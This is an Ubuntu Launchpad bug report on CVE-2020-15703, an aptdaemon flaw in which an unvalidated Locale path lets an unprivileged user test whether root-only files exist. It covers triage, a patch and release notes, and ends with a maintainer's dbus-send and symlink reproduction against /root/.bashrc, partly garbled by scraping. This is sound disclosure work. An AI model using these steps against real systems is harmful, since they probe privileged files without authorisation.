Improper Input Validation vulnerability in Locale property of a transaction leading to Information Disclosure
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
| aptdaemon (Ubuntu) |
Undecided
|
Unassigned |
Bug Description
Hi,
There is no input validation on the Locale property in an apt transaction. An unprivileged user can supply a full path to a writable directory, which lets aptd read a file as root. Having a symlink in place results in an error message if the file exists, and no error otherwise. This way an unprivileged user can check for the existence of any files on the system as root.
This is a similar type of bug as CVE-2015-1323.
See the attached Python script for details.
$ ./test_
File Exists!
$ ./test_
File does not exist!
Description: Ubuntu 20.04 LTS
Release: 20.04
aptdaemon:
Installed: 1.1.1+bzr982-
Candidate: 1.1.1+bzr982-
Version table:
*** 1.1.1+bzr982-
500 http://
500 http://
100 /var/lib/
1.
500 http://
500 http://
Kind regards,
Vaisha Bernard
EYE Control B.V.
CVE References
Vaisha Bernard (vaisha) wrote : | #1 |
Alex Murray (alexmurray) wrote : | #2 |
Seth Arnold (seth-arnold) wrote : | #3 |
Nice find.
Please use CVE-2020-15703 for this issue.
Thanks
Vaisha Bernard (vaisha) wrote : | #4 |
> Can you confirm if this has been reported elsewhere and whether a CVE has already been assigned for this issue (via MITRE or some other CVE Naming Authority)?
Only here: https:/
Was unsure which of the two aptdaemon bugtrackers was the correct place to report this.
Alex Murray (alexmurray) wrote : | #5 |
Ok I don't have access to that bug report so I can't see the activity there - I am assuming that perhaps there has been no response hence this bug report - would you be able to subscribe me to it?
Alex Murray (alexmurray) wrote : | #6 |
FYI - I have duped https:/
Alex Murray (alexmurray) wrote : | #7 |
Subscribing Julian for visibility.
Changed in aptdaemon (Ubuntu): | |
status: | New → Triaged |
Julian Andres Klode (juliank) wrote : | #8 |
This should be easy to fix, a check for "/" in the locale name should suffice. Wondering whether Python should be fixed as well / instead though, such that locale.
Changed in aptdaemon (Ubuntu): | |
status: | Triaged → In Progress |
Julian Andres Klode (juliank) wrote : | #9 |
Attached patch. Might need more changes, but this seems the right place. It makes it fail if the locale is a path with / in it. Not sure if we need to check other things.
I guess this applies to all releases.
Launchpad Janitor (janitor) wrote : | #10 |
This bug was fixed in the package aptdaemon - 1.1.1+bzr982-
---------------
aptdaemon (1.1.1+
* SECURITY UPDATE: information disclosure via locale (LP: #1888235)
- debian/
in aptdaemon/core.py.
- CVE-2020-15703
-- Marc Deslauriers <email address hidden> Wed, 23 Sep 2020 07:20:14 -0400
Changed in aptdaemon (Ubuntu): | |
status: | In Progress → Fix Released |
Launchpad Janitor (janitor) wrote : | #11 |
This bug was fixed in the package aptdaemon - 1.1.1+bzr982-
---------------
aptdaemon (1.1.1+
* SECURITY UPDATE: information disclosure via locale (LP: #1888235)
- debian/
in aptdaemon/core.py.
- CVE-2020-15703
-- Marc Deslauriers <email address hidden> Wed, 23 Sep 2020 07:27:57 -0400
Changed in aptdaemon (Ubuntu): | |
status: | In Progress → Fix Released |
information type: | Private Security → Public Security |
Marc Deslauriers (mdeslaur) wrote : | #12 |
The updates for this issue have been released:
https:/
Thanks!
Ravikant (ravikantcool) wrote : | #13 |
Ethereum
Changed in aptdaemon (Ubuntu): | |
assignee: | nobody → Ravikant (ravikantcool) |
Changed in aptdaemon (Ubuntu): | |
assignee: | Ravikant (ravikantcool) → nobody |
Yes I can confirm this is an issue and is quite similar to CVE-2015-1323 - like in https:/ /bugs.launchpad .net/ubuntu/ +source/ aptdaemon/ +bug/1449587 a simple bash example via dbus-send is enough to demonstrate this:
$ mkdir -p /tmp/a/LC_MESSAGES LC_MESSAGES/ aptdaemon. mo org.debian. apt \ apt.InstallFile \ /var/cache/ apt/archives/ dbus_1. 12.14-1ubuntu2. 1_amd64. deb \ .945425 sender=:1.194 -> destination=:1.193 serial=7 reply_serial=2 apt/transaction /51f737bf25f14d b7be88bdc5139ea 156" org.debian. apt /org/debian/ apt/transaction /51f737bf25f14d b7be88bdc5139ea 156 org.freedesktop .DBus.Propertie s.Set string: org.debian. apt.transaction string:Locale string:/tmp/a. .DBus.Python. OSError: Traceback (most recent call last): python3/ dist-packages/ defer/_ _init__ .py", line 487, in _inline_callbacks python3/ dist-packages/ aptdaemon/ policykit1. py", line 152, in get_uid_ from_dbus_ name value(uid) python3/ dist-packages/ defer/_ _init__ .py", line 462, in return_value DefGen_ Return: 1000
$ ln -s /root/.bashrc /tmp/a/
$ dbus-send --print-reply --system --dest=
/org/debian/apt org.debian.
string:
boolean:false
method return time=1595299798
string "/org/debian/
$ dbus-send --print-reply --system --dest=
Error org.freedesktop
File "/usr/lib/
result = gen.send(result)
File "/usr/lib/
return_
File "/usr/lib/
raise _DefGen_Return(val)
defer._
During handling of the above exception, another exception occurred:
Traceback (most recent call last): python3/ dist-packages/ defer/_ _init__ .py", line 487, in _inline_callbacks
File "/usr/lib/
result = gen.send(result)
StopIteration
During handling of the above exception, another exception occurred:
Traceback (most recent call last): python3/ dist-packages/ defer/_ _init__ .py", line 487, in _inline_callbacks python3/ dist-packages/ aptdaemon/ core.py" , line 1226, in _set_property _set_locale( value) python3/ dist-packages/ aptdaemon/ core.py" , line 835, in _set_locale _translation = gettext. translation( "aptdaemon" , python3. 8/gettext. py", line 613, in translation setdefault( key, class_(fp)) python3. 8/gettext. py", line 261, in __init__ python3. 8/gettext. py", line 393, in _parse LC_MESSAGES/ aptdaemon. mo'
File "/usr/lib/
result = gen.send(result)
File "/usr/lib/
self.
File "/usr/lib/
self.
File "/usr/lib/
t = _translations.
File "/usr/lib/
self._parse(fp)
File "/usr/lib/
raise OSError(0, 'Bad magic number', filename)
OSError: [Errno 0] Bad magic number: '/tmp/a/
Can you confirm if this has been reported elsewhere and whether a CVE has already been assigned for this issue (via MITRE or some other CVE Naming Authority)?